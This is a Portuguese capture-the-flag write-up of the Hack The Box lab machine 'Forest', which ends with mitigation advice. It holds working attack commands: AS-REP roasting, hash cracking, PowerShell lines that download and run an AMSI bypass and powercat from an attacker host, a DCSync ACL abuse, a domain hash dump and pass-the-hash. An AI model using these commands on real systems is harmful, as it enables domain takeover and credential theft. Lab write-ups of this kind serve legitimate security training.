Forest
Introdução
Forest (https://app.hackthebox.com/machines/Forest) é uma máquina Windows do Hack The Box classificada como dificuldade Fácil (Easy). O alvo simula um Domain Controller de um ambiente Active Directory com Exchange Server instalado, e o teste foi realizado contra o IP 10.10.10.161, cujo domínio identificado foi htb.local.
O caminho de exploração passa pela enumeração anônima via RPC/SMB para levantar a lista de usuários do domínio, um ataque de AS-REP Roasting contra uma conta de serviço com pré-autenticação Kerberos desabilitada, acesso remoto via WinRM com a credencial obtida, e escalonamento de privilégios abusando de permissões delegadas ao grupo Exchange Windows Permissions até conseguir executar um ataque DCSync e comprometer a conta Administrator do domínio.
Escaneamento
O primeiro passo foi mapear os serviços expostos com nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.161 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.161
O resultado confirmou o perfil típico de um Domain Controller com Exchange instalado, com portas associadas a DNS, Kerberos, RPC, SMB, LDAP/Global Catalog e WinRM abertas. A partir do banner retornado foi possível identificar o domínio htb.local, que adicionei ao /etc/hosts para facilitar a resolução nas ferramentas seguintes.

Enumeração
DNS - UDP/TCP 53
Consegui resolver tanto htb.local quanto forest.htb.local diretamente no servidor DNS do alvo:
dig @10.10.10.161 htb.local
; <<>> DiG 9.18.7-1-Debian <<>> @10.10.10.161 htb.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52594
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 8ac7922caa24baa7 (echoed)
;; QUESTION SECTION:
;htb.local. IN A
;; ANSWER SECTION:
htb.local. 600 IN A 10.10.10.161
;; Query time: 200 msec
;; SERVER: 10.10.10.161#53(10.10.10.161) (UDP)
;; WHEN: Tue Oct 18 08:55:52 EDT 2022
;; MSG SIZE rcvd: 66
dig @10.10.10.161 forest.htb.local
; <<>> DiG 9.18.7-1-Debian <<>> @10.10.10.161 forest.htb.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51580
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: cb921396b8abdfab (echoed)
;; QUESTION SECTION:
;forest.htb.local. IN A
;; ANSWER SECTION:
forest.htb.local. 3600 IN A 10.10.10.161
;; Query time: 264 msec
;; SERVER: 10.10.10.161#53(10.10.10.161) (UDP)
;; WHEN: Tue Oct 18 08:57:09 EDT 2022
;; MSG SIZE rcvd: 73
Tentei fazer uma transferência de zona, mas sem sucesso.
dig axfr @10.10.10.161 htb.local
; <<>> DiG 9.18.7-1-Debian <<>> axfr @10.10.10.161 htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
SMB - TCP 445
Tentei enumerar shares sem senha com smbmap e smbclient, mas sem sucesso.
smbmap -H 10.10.10.161
[+] IP: 10.10.10.161:445 Name: htb.local
smbclient -N -L //10.10.10.161
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
RPC - TCP 445
Com acesso anônimo, enumerei o serviço RPC:
rpcclient -U "" -N 10.10.10.161
Listagem de usuários do domínio (enumdomusers):
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Listagem de grupos (enumdomgroups), destacando os grupos relacionados ao Exchange que se tornariam relevantes mais adiante:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]
Verifiquei também os membros do grupo Domain Admins:
querygroup 0x200
Group Name: Domain Admins
Description: Designated administrators of the domain
Group Attribute:7
Num Members:1
querygroupmem 0x200
rid:[0x1f4] attr:[0x7]
queryuser 0x1f4
User Name : Administrator
Full Name : Administrator
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Tue, 18 Oct 2022 08:13:48 EDT
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 31 Dec 1969 19:00:00 EST
Password last set Time : Mon, 30 Aug 2021 20:51:59 EDT
Password can change Time : Tue, 31 Aug 2021 20:51:59 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000061
padding1[0..7]...
logon_hrs[0..21]...
O grupo Domain Admins tem apenas um membro, o próprio Administrator. Com a lista de usuários válidos em mãos, o próximo passo natural era testar Kerberos.
Exploração
AS-REP Roasting
A vulnerabilidade explorada aqui é o AS-REP Roasting. Esse ataque abusa de contas de usuário do Active Directory que têm o atributo UF_DONT_REQUIRE_PREAUTH (“Do not require Kerberos preauthentication”) habilitado. Para essas contas, o KDC responde a uma solicitação de TGT (AS-REQ) sem exigir prova prévia de conhecimento da senha do usuário. A resposta (AS-REP) contém uma porção criptografada com a chave derivada da senha da conta, que pode ser capturada e quebrada offline por força bruta/dicionário — sem gerar tentativas de autenticação no domínio e, portanto, sem risco de lockout.
Usei a lista de usuários extraída via RPC:
cat users
sebastien
lucinda
svc-alfresco
andy
mark
santi
E rodei o AS-REP Roasting contra cada um deles com o Impacket:
for user in $(cat users); do impacket-GetNPUsers -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
[*] Getting TGT for sebastien
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for lucinda
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB:754aaeb7cf647e5365424893ee7e7345$1f45e994ceeda5dba738917f2d1f1103eadc8aab035b7177f5ebcaa4ace7ab4311966d7a2bebe181f5dc0e51fd24286b24cb2493a1f02c6fc5cfbd050627089ea8517c1cd3256b7b94d42acc4e54a98b4e336dc175f356a34394b843e82701e822f748a8599fc6d641a5cfa3ebdaeb5f04ace7a97a31b2993c0628c766fe7f2e7358fbeeee130b7c55579f6bb9006949a9f4db273fd05f845ab359b7799624297b4be55b4eab01a5d350f012fc49829e01db5b64fad03409ab7f34cf8c19f538ea9868751d2dc3739fa0d4b2b0d991b0c145bde8f925bbdbec205fc7a626b0b8
[*] Getting TGT for andy
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for mark
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for santi
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
Apenas o usuário svc-alfresco estava com a pré-autenticação Kerberos desabilitada, o que rendeu um hash AS-REP válido para quebra offline.
Quebrando o hash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force
Usuário:
svc-alfrescoSenha: s3rvice
Obtendo acesso inicial
PsExec
impacket-psexec htb.local/svc-alfresco:s3rvice@10.10.10.161
Sem sucesso — a conta não tinha privilégios suficientes para esse tipo de acesso.
WinRM
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Sucesso! Com a credencial obtida via AS-REP Roasting consegui uma shell autenticada como svc-alfresco.

Pós-exploração
Obtendo uma shell interativa
O acesso inicial via impacket ficava limitado a uma shell não interativa. Usei o powercat para conseguir uma shell interativa completa, baixando o bypass de AMSI e o próprio powercat:
IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.2/amsi.txt')
IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.2/powercat.txt')
Mapeamento com BloodHound
Baixei e executei o SharpHound.exe diretamente no alvo para coletar os dados de relacionamento do Active Directory (usuários, grupos, sessões, ACLs), e depois importei o resultado no BloodHound rodando no Kali para visualizar os caminhos de ataque. Download do SharpHound no alvo:
powershell (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.2//sharphound.exe','c:\windows\tasks\sharphound.exe')
Execução da coleta completa:
C:\Windows\Tasks\SharpHound.exe --CollectionMethods All
Transferência do resultado para o Kali via SMB:
# No Kali:
impacket-smbserver samba . -username kali -password kalii -smb2support
# No alvo:
net use \\192.168.49.106\samba kalii /user:kali
copy 20221018071247_BloodHound.zip \\10.10.14.2\samba
Analisando o grafo no BloodHound, a opção Find Shortest Paths to Domain Admins revelou o caminho de escalonamento a partir de svc-alfresco.

Escalonamento de privilégios (svc-alfresco → Administrator)
O BloodHound mostrou que svc-alfresco pertencia (indiretamente, via Account Operators) a um caminho que permitia adicionar usuários ao grupo Exchange Windows Permissions. Esse grupo, criado pela instalação do Exchange, possui por padrão o direito WriteDacl sobre o objeto de domínio — uma configuração incorreta clássica de ambientes com Exchange integrado ao AD. Qualquer membro desse grupo pode, portanto, modificar a ACL do próprio domínio e conceder a si mesmo direitos estendidos de replicação (DS-Replication-Get-Changes e DS-Replication-Get-Changes-All), os mesmos direitos usados legitimamente pelos Domain Controllers para replicar dados entre si via protocolo MS-DRSR. Na prática, isso viabiliza um ataque DCSync.
Entrando no grupo Exchange Windows Permissions
net group "Exchange Windows Permissions" svc-alfresco /add /domain
Ou, alternativamente, usando PowerView:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco' -Credential $Cred
Confirmação de que o usuário foi adicionado com sucesso:
net group "Exchange Windows Permissions"
Members
-------------------------------------------------------------------------------
svc-alfresco
The command completed successfully.
Porém, após um curto período, o usuário era removido automaticamente do grupo (provavelmente por um processo de limpeza automatizado no laboratório). Por isso, encadeei em um único comando a adição ao grupo e a concessão direta dos direitos de DCSync via ACL, para não perder a janela de oportunidade:
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members svc-alfresco;
$username = "htb\svc-alfresco";
$password = "s3rvice";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr;
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync
Executando o DCSync
Com os direitos de replicação concedidos a svc-alfresco, executei o ataque DCSync usando o secretsdump do Impacket para extrair todos os hashes do domínio diretamente via MS-DRSR, sem precisar de acesso ao disco do Domain Controller:
impacket-secretsdump svc-alfresco:s3rvice@10.10.10.161
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:17267b380cc15eaeddff28a7b39e888a:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
[*] Cleaning up...
(saída resumida — o dump completo incluiu hashes NTLM e chaves Kerberos de todas as contas do domínio, incluindo as contas de sistema `HealthMailbox, SM_*, krbtgt, FOREST$e*EXCH01$`)
Com o hash NTLM do Administrator em mãos, encerrei o ataque com um Pass-the-Hash usando o PsExec do Impacket:
impacket-psexec administrator@10.10.10.161 -hashes :32693b11e6aa90eb43d32c72a07ceea6
Root obtido — acesso total como Administrator do domínio.
Anexos
Ferramentas e scripts utilizados ao longo do processo:
- nmap — varredura de portas e serviços.
- dig — consultas e tentativa de transferência de zona DNS.
- smbmap / smbclient — enumeração de shares SMB anônimas.
- rpcclient — enumeração anônima de usuários e grupos via RPC/SAMR.
- impacket-GetNPUsers — execução do AS-REP Roasting contra a lista de usuários.
- hashcat (modo 18200) — quebra offline do hash AS-REP.
- evil-winrm — shell remota via WinRM com a credencial de
svc-alfresco. - amsi.txt / powercat.txt — bypass de AMSI e shell reversa interativa em PowerShell.
- SharpHound / BloodHound — coleta e visualização gráfica dos caminhos de ataque no Active Directory.
- impacket-smbserver — servidor SMB temporário para transferir o output do SharpHound do alvo para o Kali.
- PowerView (
Add-DomainGroupMember,Add-DomainObjectAcl) — manipulação de grupos e ACLs do AD. - impacket-secretsdump — execução do ataque DCSync e extração dos hashes do domínio.
- impacket-psexec — execução remota de comandos, usada tanto na tentativa inicial quanto no Pass-the-Hash final como Administrator.
Mitigação
- Habilitar a pré-autenticação Kerberos em todas as contas de usuário e serviço, removendo a flag
UF_DONT_REQUIRE_PREAUTHsempre que não houver uma justificativa técnica explícita. Isso elimina a superfície de ataque para AS-REP Roasting. - Usar senhas longas e aleatórias para contas de serviço (idealmente geridas por uma solução de gMSA — Group Managed Service Accounts), já que mesmo com pré-autenticação habilitada essas contas continuam sendo alvo de Kerberoasting.
- Revisar periodicamente as ACLs delegadas no Active Directory, em especial as concedidas automaticamente durante a instalação de produtos como o Exchange. O grupo Exchange Windows Permissions não deveria reter WriteDacl sobre o objeto de domínio além do necessário — o ideal é aplicar o princípio do menor privilégio e remover ou restringir esse direito após a instalação.
- Monitorar e alertar sobre mudanças de ACL sensíveis, principalmente concessões dos direitos estendidos
DS-Replication-Get-ChangeseDS-Replication-Get-Changes-Alla principais que não sejam Domain Controllers, o que é um forte indicador de preparação para um ataque DCSync. - Monitorar alterações de associação em grupos privilegiados (Domain Admins, Exchange Windows Permissions, Account Operators, etc.), com alertas automatizados para adições fora do fluxo normal de gestão de identidade.
- Auditar chamadas do MS-DRSR (replicação de diretório) vindas de hosts que não são Domain Controllers, pois isso indica uma tentativa de DCSync em andamento.
- Restringir enumeração anônima via RPC/SMB (
rpcclient,smbclient), desabilitando sessões nulas (RestrictAnonymous) para dificultar o levantamento inicial de usuários do domínio.